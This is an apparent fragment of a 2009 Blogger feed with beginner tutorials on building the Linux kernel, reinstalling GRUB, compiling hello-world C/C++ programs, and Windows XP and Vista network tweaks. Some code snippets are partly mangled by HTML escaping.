xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/pc-boot-process-windows-xp.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/XQgXGyxmGd8/pc-boot-process-windows-xp.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0IGQXw6eip7ImA9WxVUFUg.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-2613913173451167654</id><published>2009-03-16T15:32:00.000-07:00</published><updated>2009-03-20T05:18:40.212-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-20T05:18:40.212-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Linux Kernel" /><title>How To Configure The Linux Kernel-I</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Warning&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Downloading the kernel source code,uncompressing it, configuring the kernel, and building it—should be done as a normal user on the machine. Only the two or three commands it takes to install a new kernel should be done as the superuser (root)&lt;br /&gt;&lt;br /&gt;Do not do any kernel development under the /usr/src/ directory tree at all, but only in a local user directory where nothing bad can happen to the system.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tools to Build the Kernel&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Compiler; Linker; make.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tools to Use the Kernel&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.kernel.org/pub/linux/utils/util-linux"&gt;util-linux&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.kernel.org/pub/linux/utils/kernel/module-init-tools"&gt;module-init-tools&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://%20e2fsprogs.sourceforge.net/"&gt;Filesystem-Specific Tools&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://jfs.%20sourceforge.net/"&gt;JFS&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.%20namesys.com/download.html."&gt;ReiserFS&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://oss.sgi.%20com/projects/xfs"&gt;xfs&lt;/a&gt;&lt;span style="text-decoration: underline;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://%20sourceforge.net/projects/linuxquota"&gt;quotas&lt;/a&gt;&lt;span style="text-decoration: underline;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://%20nfs.sf.net"&gt;nfs&lt;/a&gt;&lt;span style="text-decoration: underline;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://%20www.kernel.org/pub/linux/utils/kernel/hotplug/udev.html"&gt;udev&lt;/a&gt;&lt;span style="text-decoration: underline;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://%20procps.sourceforge.net"&gt;proccess&lt;/a&gt;&lt;a href="http://%20procps.sourceforge.net"&gt; tools&lt;/a&gt;&lt;span style="text-decoration: underline;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="ftp://%20ftp.kernel.org/pub/linux/utils/kernel/pcmcia"&gt;pcmcia tools&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Downloading the&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; latest stable version of the Linux kernel &lt;/span&gt;&lt;span style="font-weight: bold;"&gt; 2.6.28.7&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;enter:&lt;br /&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.28.7.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Creat a local directory in your home directory called linux to hold all of the different kernel source files:&lt;br /&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;mkdir ~/linux&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now move the source code into this directory:&lt;br /&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;mv ~/linux-2.6.28.7.tar.gz ~/linux/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And go into the linux directory:&lt;br /&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;cd ~/linux&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;ls&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;linux-2.6.28.7.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now that the source code is in the proper directory, uncompress the tree:&lt;br /&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;tar -xzvf linux-2.6.28.7.tar.gz&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;The screen will be filled with files that are uncompressed, and you will be left with the following in the linux directory:&lt;br /&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;ls&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;linux-2.6.28.7.tar.gz&lt;br /&gt;linux-2.6.28.7&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Configuring and Building&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The most basic method of configuring a kernel is the make config method:&lt;br /&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;cd linux-2.6.28.7&lt;/span&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;make config&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_EuF7ehVkjUU/Sb7ipeJZcqI/AAAAAAAAAr8/vzq1nBsvPKc/s1600-h/www.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 331px;" src="http://3.bp.blogspot.com/_EuF7ehVkjUU/Sb7ipeJZcqI/AAAAAAAAAr8/vzq1nBsvPKc/s400/www.jpeg" alt="" id="BLOGGER_PHOTO_ID_5313933812438758050" border="0" /&gt;&lt;/a&gt;&lt;span class="fullpost"&gt;To create the default configuration, do the following:&lt;br /&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;make defconfig&lt;br /&gt;&lt;br /&gt;Console Configuration Method&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The menuconfig way of configuring a kernel is a console-based program that offers a way to move around the kernel configuration using the arrow keys on the keyboard.&lt;br /&gt;&lt;br /&gt;To start up this configuration mode, enter:&lt;br /&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;make menuconfig&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You will be shown a screen much like this&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_EuF7ehVkjUU/Sb7ixPHRERI/AAAAAAAAAsE/Vwcniik5g7M/s1600-h/ww.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 306px;" src="http://2.bp.blogspot.com/_EuF7ehVkjUU/Sb7ixPHRERI/AAAAAAAAAsE/Vwcniik5g7M/s400/ww.jpeg" alt="" id="BLOGGER_PHOTO_ID_5313933945842241810" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class="fullpost"&gt;&lt;span class="fullpost"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="fullpost"&gt;&lt;span class="fullpost"&gt;&lt;span style="font-weight: bold;"&gt;Graphical Configuration Methods&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The gconfig and xconfig methods of configuring a kernel use a graphical program to allow you to modify the kernel configuration.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;make gconfig&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="fullpost"&gt;$ &lt;span style="font-weight: bold;"&gt;make xconfig&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Use the mouse to navigate the submenus and select options&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_EuF7ehVkjUU/Sb7i4oHeoEI/AAAAAAAAAsM/JecZtyDr11I/s1600-h/w.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 343px;" src="http://1.bp.blogspot.com/_EuF7ehVkjUU/Sb7i4oHeoEI/AAAAAAAAAsM/JecZtyDr11I/s400/w.jpeg" alt="" id="BLOGGER_PHOTO_ID_5313934072813101122" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Next ...&lt;span style="font-weight: bold;"&gt;Modifying the configuration&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-2613913173451167654?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/gfDeCc7YH-Y" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/icosZMJtYog" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/2613913173451167654/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/how-to-configure-linux-kernel.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/2613913173451167654?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/2613913173451167654?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/icosZMJtYog/how-to-configure-linux-kernel.html" title="How To Configure The Linux Kernel-I" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_EuF7ehVkjUU/Sb7ipeJZcqI/AAAAAAAAAr8/vzq1nBsvPKc/s72-c/www.jpeg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/how-to-configure-linux-kernel.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/gfDeCc7YH-Y/how-to-configure-linux-kernel.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0IAQnYyfyp7ImA9WxVUFUg.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-681819104536297968</id><published>2009-03-15T08:36:00.000-07:00</published><updated>2009-03-20T05:19:03.897-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-20T05:19:03.897-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Gnu/Linux" /><title>How To Recover Ubuntu After Installing Windows</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;If you re-install your XP, the Ubuntu Grub Loader in MBR will be overwrite.&lt;br /&gt;&lt;br /&gt;You can’t go to Ubuntu anymore.&lt;br /&gt;&lt;br /&gt;Boot the Desktop/Live CD. (Use Ubuntu 8.04 or later)&lt;br /&gt;&lt;br /&gt;Open a terminal  Application &gt; Accessories &gt; Terminal or type Alt-F2 and type&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;xterm &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Start grub as root with the following command :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;sudo grub&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You will get a grub prompt (see below) which we will use to find the root partition and install grub to the MBR (hd0)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_EuF7ehVkjUU/Sb2E32x--gI/AAAAAAAAAr0/08NOAViWU0Q/s1600-h/w.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 333px;" src="http://1.bp.blogspot.com/_EuF7ehVkjUU/Sb2E32x--gI/AAAAAAAAAr0/08NOAViWU0Q/s400/w.jpeg" alt="" id="BLOGGER_PHOTO_ID_5313549230499887618" border="0" /&gt;&lt;/a&gt;Type the following and press enter:&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;find /boot/grub/stage1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you get "Error 15: File not found", try the following:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;find /grub/stage1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Using this information, set the root device (fill in X,Y with whatever the find command returned):&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;(hdX,Y) Harddisk X, partition Y (you may have more than 1 HD)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;grub&gt; &lt;span style="font-weight: bold;"&gt;root (hdX,Y)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Install Grub:&lt;br /&gt;&lt;br /&gt;grub&gt; &lt;span style="font-weight: bold;"&gt;setup (hd0)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Exit Grub:&lt;br /&gt;&lt;br /&gt;grub&gt; &lt;span style="font-weight: bold;"&gt;quit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Reboot (to hard drive).&lt;br /&gt;&lt;br /&gt;Grub should be installed and both Ubuntu and Windows should have been automatically detected.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-681819104536297968?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/UVarwovaWmY" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/jgb6MP38I6s" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/681819104536297968/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/how-to-recover-ubuntu-after-installing.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/681819104536297968?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/681819104536297968?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/jgb6MP38I6s/how-to-recover-ubuntu-after-installing.html" title="How To Recover Ubuntu After Installing Windows" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_EuF7ehVkjUU/Sb2E32x--gI/AAAAAAAAAr0/08NOAViWU0Q/s72-c/w.jpeg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/how-to-recover-ubuntu-after-installing.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/UVarwovaWmY/how-to-recover-ubuntu-after-installing.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0EBQHYzeSp7ImA9WxVUFUg.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-6254196169192456064</id><published>2009-03-15T04:34:00.000-07:00</published><updated>2009-03-20T05:20:51.881-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-20T05:20:51.881-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Linux Kernel" /><title>Test Your First C &amp; C++</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_EuF7ehVkjUU/Sbz8rB3ITYI/AAAAAAAAAqk/XVbHo9ek_Q8/s1600-h/gcc.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 100px; height: 118px;" src="http://3.bp.blogspot.com/_EuF7ehVkjUU/Sbz8rB3ITYI/AAAAAAAAAqk/XVbHo9ek_Q8/s400/gcc.png" alt="" id="BLOGGER_PHOTO_ID_5313399476554583426" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;gcc is the GNU Compiler Collection supporting various programming languages.&lt;br /&gt;&lt;br /&gt;g++ is the traditional nickname of GNU C++, a freely redistributable C++ compiler. It is part of gcc.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Linux kernel is written in the C programming language, with a small amount of assembly language in some places.&lt;br /&gt;&lt;br /&gt;C is the most powerful programming language in popular use.&lt;br /&gt;&lt;br /&gt;To build the kernel, the gcc C compiler must be used.&lt;br /&gt;&lt;br /&gt;If you wish to download the compiler and build it yourself, you can find it at&lt;br /&gt;&lt;br /&gt;http://gcc.gnu.org.&lt;br /&gt;&lt;br /&gt;C++ is mostly an extension of C.&lt;br /&gt;&lt;br /&gt;C++ has the main advantage of being an Object Oriented language.&lt;br /&gt;&lt;br /&gt;To use C and C++ you will need to do to install the build-essential package.&lt;br /&gt;&lt;br /&gt;sudo apt-get install build-essential&lt;br /&gt;&lt;br /&gt;This will install all the required packages for C and C++ compilers&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Testing C and C++ Programs.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="fullpost"&gt;&lt;span style="font-weight: bold;"&gt;Compiling your first C program.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="fullpost"&gt;You need to open test.c file&lt;br /&gt;&lt;br /&gt;sudo gedit test.c&lt;br /&gt;&lt;br /&gt;add the following lines save and exi&lt;/span&gt;&lt;span class="fullpost"&gt;t the file&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;/stdio.h&gt;&lt;br /&gt;&lt;stdio.h&gt;printf("My First C\n");&lt;br /&gt;return 0;&lt;br /&gt;&lt;br /&gt;}&lt;/stdio.h&gt;&lt;/pre&gt;&lt;br /&gt;Compile the code using the following command&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;gcc -c test.c&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;That would produce an object&lt;/span&gt;&lt;span class="fullpost"&gt; file.&lt;br /&gt;&lt;br /&gt;Then create an executable using the following command&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;gcc -o test test.c&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Run this executable using the&lt;/span&gt;&lt;span class="fullpost"&gt; following command&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;./test&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Output should show as follows&lt;br /&gt;&lt;br /&gt;My Ferst C&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="font-weight: bold;"&gt;Compiling your first C++ program&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;If you want to run c++ program follow this procedure&lt;br /&gt;&lt;br /&gt;g++ is the compiler that you must use.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;you should use a .cpp file extension rather than a .c one&lt;br /&gt;&lt;br /&gt;You need to create a file&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;sudo gedit first.cpp&lt;br /&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;add the following lines save and exit the file&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;iostream&gt;&lt;br /&gt;&lt;/iostream&gt;&lt;span&gt;&lt;span class="fullpost"&gt;&lt;pre&gt;&lt;span&gt;&lt;span class="fullpost"&gt;&lt;pre&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_EuF7ehVkjUU/Sbz6-dgD1YI/AAAAAAAAAqc/8JczJXYLvwE/s1600-h/2.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 361px; height: 107px;" src="http://3.bp.blogspot.com/_EuF7ehVkjUU/Sbz6-dgD1YI/AAAAAAAAAqc/8JczJXYLvwE/s400/2.PNG" alt="" id="BLOGGER_PHOTO_ID_5313397611368273282" border="0" /&gt;&lt;/a&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;iostream&gt;&lt;/iostream&gt;&lt;/pre&gt;&lt;br /&gt;Run your C++ Program&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;g++ first.cpp -o test&lt;br /&gt;&lt;br /&gt;./test&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Output should show as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:monospace;"&gt;Hello World!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-6254196169192456064?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/3FO2_QMjIY8" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/2HD8kYa6aIc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/6254196169192456064/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/test-your-first-c-c.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/6254196169192456064?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/6254196169192456064?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/2HD8kYa6aIc/test-your-first-c-c.html" title="Test Your First C &amp; C++" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_EuF7ehVkjUU/Sbz8rB3ITYI/AAAAAAAAAqk/XVbHo9ek_Q8/s72-c/gcc.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/test-your-first-c-c.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/3FO2_QMjIY8/test-your-first-c-c.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0EDSHY8eyp7ImA9WxVUFUg.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-1524311847837532981</id><published>2009-03-07T13:58:00.000-08:00</published><updated>2009-03-20T05:21:19.873-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-20T05:21:19.873-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xp" /><title>Speed Up Your Network and Internet Access</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;hacking the System Registry&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Follow these steps:&lt;br /&gt;&lt;br /&gt;Go to Start|Run type: &lt;span style="font-weight: bold;"&gt;regedit&lt;/span&gt; in the text box and click the OK button.&lt;br /&gt;Then expand the&lt;br /&gt;HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Explorer/RemoteComputer/NameSpace.&lt;br /&gt;&lt;br /&gt;In the NameSpace folder you will find two entries.&lt;br /&gt;One is "{2227A280-3AEA-1069-A2DE-08002B30309D}" which tells Explorer to show printers shared on the remote machine.&lt;br /&gt;The other, "{D6277990-4C6A-11CF-8D87-00AA0060F5BF}," tells Explorer to show remote scheduled tasks.&lt;br /&gt;&lt;br /&gt;This is the one that you should delete. This can be done by right-clicking the name of the key and selecting Delete.&lt;br /&gt;&lt;br /&gt;If you have no use for viewing remote shared printers and are really only interested in shared files, consider deleting the printers key, "{2227A280-3AEA-1069-A2DE-08002B30309D}", as well. This will also boost your browsing speed.&lt;br /&gt;&lt;br /&gt;Once you have deleted the key, you just need to restart and the changes will be in effect. Now your network computer browsing will be without needless delays.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Disabling unneeded protocols&lt;/span&gt;&lt;br /&gt;Right-click the My Network Places icon on the desktop select Properties.&lt;br /&gt;Or go to the Control Panel and click the Network Connections icon that is shown under the Classic view.&lt;br /&gt;&lt;br /&gt;Next, right-click the network adapter with which you want to view the network protocols and select Properties.&lt;br /&gt;&lt;br /&gt;This will bring up a list of the protocols installed as well as active on your adapter. Disabling a specific protocol Now that you have the list of installed and active protocols on your screen, you are ready to disable a protocol. To do so, just click the check box to remove the check. Then click the OK button and the protocol is no longer active on the network adapter.&lt;br /&gt;&lt;br /&gt;Disable all protocols except for the TCP/IP protocol&lt;br /&gt;&lt;br /&gt;Via: &lt;a href="http://www.extremetech.com/"&gt;extremetech.com &lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-1524311847837532981?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/GORpb9tQ06g" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/oyCsHF9ZRco" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/1524311847837532981/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/speed-up-your-network-and-internet.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/1524311847837532981?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/1524311847837532981?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/oyCsHF9ZRco/speed-up-your-network-and-internet.html" title="Speed Up Your Network and Internet Access" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/speed-up-your-network-and-internet.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/GORpb9tQ06g/speed-up-your-network-and-internet.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0AERnw8eip7ImA9WxVUFUg.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-837466121050516341</id><published>2009-03-07T13:13:00.000-08:00</published><updated>2009-03-20T05:21:47.272-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-20T05:21:47.272-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Vista" /><title>Find your bandwidth in Vista really slow? Here is a simple hack for you.</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;a href="http://silverstr.ufies.org/blog/archives/001035.html"&gt;Dana&lt;/a&gt; has a nice post on how to use netsh to tune network connection settings on Windows Vista. He reports that their downloads “went from 700Kbit download speeds to 18Mbit”.&lt;br /&gt;&lt;br /&gt;First, launch an elevated command prompt by clicking Start, typing cmd in the search box, then hold down ctrl+shift and press enter.&lt;br /&gt;&lt;br /&gt;To view your 